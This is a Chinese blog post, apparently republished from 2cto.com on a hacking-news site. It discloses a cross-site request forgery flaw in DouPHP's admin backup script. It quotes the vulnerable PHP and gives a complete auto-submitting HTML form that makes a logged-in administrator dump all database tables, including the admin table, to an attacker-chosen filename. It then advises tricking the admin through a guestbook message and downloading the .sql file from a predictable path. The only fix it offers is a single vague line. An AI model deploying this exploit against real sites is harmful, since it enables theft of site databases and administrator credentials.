记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

DouPHP可CSRF脱裤

2014-11-24 14:30

DouPHP可CSRF脱裤。

在www\admin\backup.php:

 



if ($rec == 'backup') {
<code> $fileid = isset($_REQUEST['fileid']) ? $_REQUEST['fileid'] : 1;
$tables = $_REQUEST['tables'];
$vol_size = $_REQUEST['vol_size'];
$totalsize = $_REQUEST['totalsize'];
$file_name = $_REQUEST['file_name']; //1、用户输入的文件作为备份文件名

// 判断备份文件名是否规范
if (!$check->is_backup_file($file_name . '.sql')) //2、is_backup_file 仅检查是否是字母数字开头、.sql结尾
$dou->dou_msg($_LANG['backup_file_name_not_valid'], 'backup.php');

if ($fileid == 1 && $tables) {
if (!isset($tables) || !is_array($tables)) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
$cache_file = ROOT_PATH . 'data/backup/tables.php';
$content = "<?php\r\n";
$content .= "\$data = " . var_export($tables, true) . ";\r\n";
$content .= "?>";
file_put_contents($cache_file, $content, LOCK_EX);
} else {
include ROOT_PATH . 'data/backup/tables.php';
$tables = $data;
if (!$tables) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
}

if ($dou->version() > '4.1' && $sqlcharset) {
$dou->query("SET NAMES '" . $sqlcharset . "';\n\n");
}

$sqldump = '';
$tableid = isset($_REQUEST['tableid']) ? $_REQUEST['tableid'] - 1 : 0;
$startfrom = isset($_REQUEST['startfrom']) ? intval($_REQUEST['startfrom']) : 0;
$tablenumber = count($tables);

for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $vol_size * 1024; $i++) {
$sqldump .= $dump->sql_dumptable($tables[$i], $vol_size, $startfrom, strlen($sqldump));
$startfrom = 0;
}

if (trim($sqldump)) {
$sqldump = "-- douweb v1.x SQL Dump Program\n" . "-- " . ROOT_URL . "\n" . "-- \n" . "-- DATE : " . date('Y-m-d H:i:s') . "\n" .
"-- MYSQL SERVER VERSION : " . $dou->version() . "\n" . "-- PHP VERSION : " . PHP_VERSION . "\n" . "-- Douweb VERSION : " .
$_CFG['dou_version'] . "\n\n" . $sqldump;

$tableid = $i;

if ($vol_size > $totalsize) {
$sql_file_name = $file_name . '.sql';
} else {
$sql_file_name = $file_name . '_' . $fileid . '.sql';
}

$fileid++;

$bakfile = ROOT_PATH . '/data/backup/' . $sql_file_name; //3、写入了文件

if (!is_writable(ROOT_PATH . '/data/backup/')) {
$dou->dou_msg($_LANG['backup_no_save'], 'backup.php');
}

file_put_contents($bakfile, $sqldump);
@ chmod($bakfile, 0777);

$dou->create_admin_log($_LANG['backup'] . ": " . $sql_file_name);

$_LANG['backup_file_success'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['backup_file_success']);
$dou->dou_msg($_LANG['backup_file_success'], 'backup.php?rec=' . $rec . '&vol_size=' . $vol_size . '&totalsize=' . $totalsize . '&file_name=' .
$file_name . '&tableid=' . $tableid . '&fileid=' . $fileid . '&startfrom=' . $startrow, '', 1);
} else {
@ unlink(ROOT_PATH . 'data/backup/tables.php');
$dou->dou_msg($_LANG['backup_success'], 'backup.php?rec=restore');
}
}</code>



可以看到其中没有csrf防御,而且用户文件名可自定义。

备份文件夹在

www\data\backup目录下

 

 

<html>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<form name="csrf" action="http://127.0.0.1/admin/backup.php?rec=backup" method="post">

<input type="hidden" name="chkall" value="check">

<input type="hidden" name="tables[]" value="dou_admin">

<input type="hidden" name="tables[]" value="dou_admin_log">

<input type="hidden" name="tables[]" value="dou_article">

<input type="hidden" name="tables[]" value="dou_article_category">

<input type="hidden" name="tables[]" value="dou_config">

<input type="hidden" name="tables[]" value="dou_guestbook">

<input type="hidden" name="tables[]" value="dou_link">

<input type="hidden" name="tables[]" value="dou_nav">

<input type="hidden" name="tables[]" value="dou_page">

<input type="hidden" name="tables[]" value="dou_product">

<input type="hidden" name="tables[]" value="dou_product_category">

<input type="hidden" name="tables[]" value="dou_show">

<input type="hidden" name="file_name" value="xxxxxxxxxxxx">

<input type="hidden" name="vol_size" value="2048">

<input type="hidden" name="totalsize" value="120">

</form></body>

<script>

document.csrf.submit();

</script>

</body>

</html>



在前台给管理员留言处发一句具有诱惑性的话,骗取点击。即可生成备份文件,可直接下载

http://127.0.0.1/data/backup/xxxxxxxxxxxx.sql

修复方案:

加强验证

知识来源: www.2cto.com/Article/201411/354253.html

阅读:85750 | 评论:0 | 标签:CSRF

想收藏或者和大家分享这篇好文章→复制链接地址

“DouPHP可CSRF脱裤”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云